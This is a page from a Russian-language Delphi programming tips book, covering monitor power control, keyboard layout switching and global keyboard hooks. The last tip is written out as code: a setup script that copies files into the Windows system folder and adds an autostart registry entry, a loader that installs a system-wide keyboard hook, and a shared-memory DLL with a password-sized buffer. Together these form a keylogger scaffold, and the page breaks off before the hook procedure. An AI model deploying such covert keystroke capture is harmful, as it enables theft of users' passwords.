Читать «Виртуальная библиотека Delphi» онлайн - страница 13

Unknown

Отключить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);

Включить :

SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1);

Переключение языка из программы 

Для переключения языка применяется вызов LoadKeyboardLayout:

var russian, latin: HKL;

russian:=LoadKeyboardLayout('00000419', 0);

latin:=LoadKeyboardLayout('00000409', 0);

-- -- -- -- -- где то в программе --- --- ---

SetActiveKeyboardLayout(russian);

Как отловить нажатия клавиш для всех процессов в системе? 

Вот, может поможет:

>1. Setup.bat

=== Cut ===

@echo off

copy HookAgnt.dll %windir%\system

copy kbdhook.exe %windir%\system

start HookAgnt.reg

=== Cut ===

>2.HookAgnt.reg

=== Cut ===

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"kbdhook"="kbdhook.exe"

=== Cut ===

>3.KbdHook.dpr

=== Cut ===

program cwbhook;

uses Windows, Dialogs;

var

 hinstDLL: HINST;

 hkprcKeyboard: TFNHookProc;

 msg: TMsg;

begin

 hinstDLL := LoadLibrary('HookAgnt.dll');

 hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');

 SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);

 repeat until not GetMessage(msg, 0, 0, 0);

end.

=== Cut ===

>4.HookAgnt.dpr

=== Cut ===

library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports KeyboardProc;

var

 hFileMappingObject: THandle;

 fInit: Boolean;

procedure DLLMain(Reason: Integer);

begin

 if Reason = DLL_PROCESS_DETACH then begin

  UnmapViewOfFile(lpvMem);

  CloseHandle(hFileMappingObject);

 end;

end;

begin

 DLLProc := @DLLMain;

 hFileMappingObject := CreateFileMapping(THandle($FFFFFFFF), // use paging file

  nil, // no security attributes

  PAGE_READWRITE, // read/write access

  0, // size: high 32 bits

  4096, // size: low 32 bits

  'HookAgentShareMem' // name of map object

 );

 if hFileMappingObject = INVALID_HANDLE_VALUE then begin

  ExitCode := 1;

  Exit;

 end;

 fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

 lpvMem := MapViewOfFile(

  hFileMappingObject, // object to map view of

  FILE_MAP_WRITE, // read/write access

  0, // high offset: map from

  0, // low offset: beginning

  0); // default: map entire file

 if lpvMem = nil then begin

  CloseHandle(hFileMappingObject);

  ExitCode := 1;

  Exit;

 end;

 if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);

end.

=== Cut ===

>5.KeyboardHook.pas